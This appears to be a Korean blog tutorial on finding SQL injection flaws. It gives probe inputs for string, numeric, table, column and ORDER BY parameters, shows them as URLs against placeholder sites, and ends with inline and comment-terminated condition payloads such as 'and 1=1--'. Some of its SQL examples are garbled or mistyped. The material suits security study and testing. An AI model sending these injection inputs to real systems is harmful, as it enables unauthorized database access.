[SQL인젝션] 취약점 분석 방법 상세

오대진·2024년 4월 30일


사용하는 DBS를 알기 위해서는 이러한 방법으로 파악이 가능하다.

취약점 분석 방법론

데이터 타입 : 문자형 [사용자 입력값은 크리핵티브쪽]
정상 SQL 구문 - SELECT FROM member WHERE id='crehacktvie' -> 조회성공
점검 SQL 구문 - SELECT
FROM member WHERE id='crehack'll'tvie' -> 조회성공
점검 SQL 구문 - SELECT * FROM member WHERE id='crehack'a'tvie' -> 조회실패[에러발생]

http://abc.co.kr/mypage.jsp?id=crehack'||'tive
= SELECT * FROM member WHERE id='crehack'||'tive -> 정상값 출력

http://abc.co.kr/mypage.jsp?id=crehack'a'tive
= SELECT * FROM member WHERE id='crehack'a'tive -> 에러변환 출력


데이터 타입 : 숫자형 [사용자 값은 제일 마지막 숫자]
정상 SQL 구문 - SELECT FROM board WHERE idx=192 -> 조회성공
점검 SQL 구문 - SELECT
FROM board WHERE idx=193-1 -> 조회성공
점검 SQL 구문 - SELECT * FROM board WHERE idx=100+93 -> 조회성공

http://abc.co.kr/boardView.jsp?idx=193-1
FROM board WHERE idx=193-1 -> 192 페이지 정상값 출력

http://abc.co.kr/boardView.jsp?idx=100%2b93
SELECT * FROM board WHERE idx=100+93 -> 192 페이지 정상값 출력
%2b는 +를 의미한다. 주소창에는 이렇게 작성해야 +로 인식한다.


데이터 타입 : 테이블 [notice, notice where 숫자]
정상 SQL 구문 - SELECT FROM board_notice ORDER BY idx desc > 조회성공
점검 SQL 구문 - SELECT
FROM board_notice WHERE 1=1 ORDER BY idx desc -> 조회성공
점검 SQL 구문 - SELECT * FROM board_notice WHERE 2=1 ORDER BY idx desc -> 조회실패

http://abc.co.kr/boardList.jsp?thname=notice+where+1=1
SELECT * FROM board_notice where 1=1 > 정상값 출력

http://abc.co.kr/boardList.jsp?thname=notice+where+2=1
SELECT * FROM board_notice WHERE 2=1 ORDER BY idx desc -> 테이블 레코드 0개 결과 반환


데이터 타입 : 컬럼 [WHERE 절 / 웨얼과 라이크 사이의 입력값으로 판별]
정상 SQL 구문 - SELECT FROM board_notice WHERE title like > 조회성공
점검 SQL 구문 - SELECT
FROM board_notice WHERE 1 like > 조회성공
점검 SQL 구문 - SELECT * FROM board_notice WHERE a like > 조회실패

http://abc.co.kr/boardList.jsp?search_columm=1
SELECT * FROM board_notice WHERE 1 like '%%' > 출력

http://abc.co.kr/boardList.jsp?search_columm=a
SELECT * FROM board_notice WHERE a like '%%' > 에러 변환


데이터 타입 : 컬럼 [ORDER BY 절]
정상 SQL 구문 - SELECT FROM board_notice ORDER BY idx desc > 조회성공
정상 SQL 구문 - SELECT
FROM board_notice ORDER BY 1 desc > 조회성공
정상 SQL 구문 - SELECT * FROM board_notice ORDER BY a desc > 조회실패

http://abc.co.kr/boardList.jsp?sort_column=1
SELECT * FROM board_notice ORDER BY 1 desc > 조회성공

http://abc.co.kr/boardList.jsp?sort_column=a
SELECT * FROM board_notice ORDER BY a desc > 조회성공


데이터 타입 : 키워드 [ORDER BY 절]
정상 SQL 구문 - SELECT FROM board_notice ORDER BY idx desc > 조회성공
정상 SQL 구문 - SELECT
FROM board_notice ORDER BY idx 1 > 조회성공
정상 SQL 구문 - SELECT * FROM board_notice ORDER BY idx a > 조회실패

http://abc.co.kr/boardList.jsp?sort=,1 [1말고 desc로 적혀있을때 키워드 오더 바이 절로 사용되고 있구나 추론]
SELECT * FROM board_notice ORDER BY idx 1 > 조회성공

http://abc.co.kr/boardList.jsp?sort=a
정상 SQL 구문 - SELECT * FROM board_notice ORDER BY idx a > 조회실패


취약 유무 확인 후 공격 방법은?
공격을 위해서는 조건 구문 완성을 통하여 가능하다.
이것에 대한 전제조건은 아이디를 알아야한다. 혹시 모를 경우에는 or 연산자가 들어가야 한다.

데이터 타입 : 문자형
인라인 : SELECT FROM member WHERE user_id='haccker' and 1=1 and '1'=1'1
터미네이팅 : SELECT
FROM member WHERE user_id='hacker' and 1=1--'

데이터 타입 : 숫자형
인라인 : SELECT FROM member WHERER idx=192 and 1=1 and user_id='hacker'
터미네이팅 : SELECT
FROM member WHERER idx=192 and 1=1-- and user_id='hacker'

http://website.co.kr/boardView.jsp?idx=192 and 1=1
SELECT * FROM member WHERER idx=192 and 1=1 -> 192 게시글 조회 완료

http://website.co.kr/boardView.jsp?idx=192 and 1=1--
SELECT * FROM member WHERER idx=192 and 1=1-- -> 192 게시글 조회 완료

0개의 댓글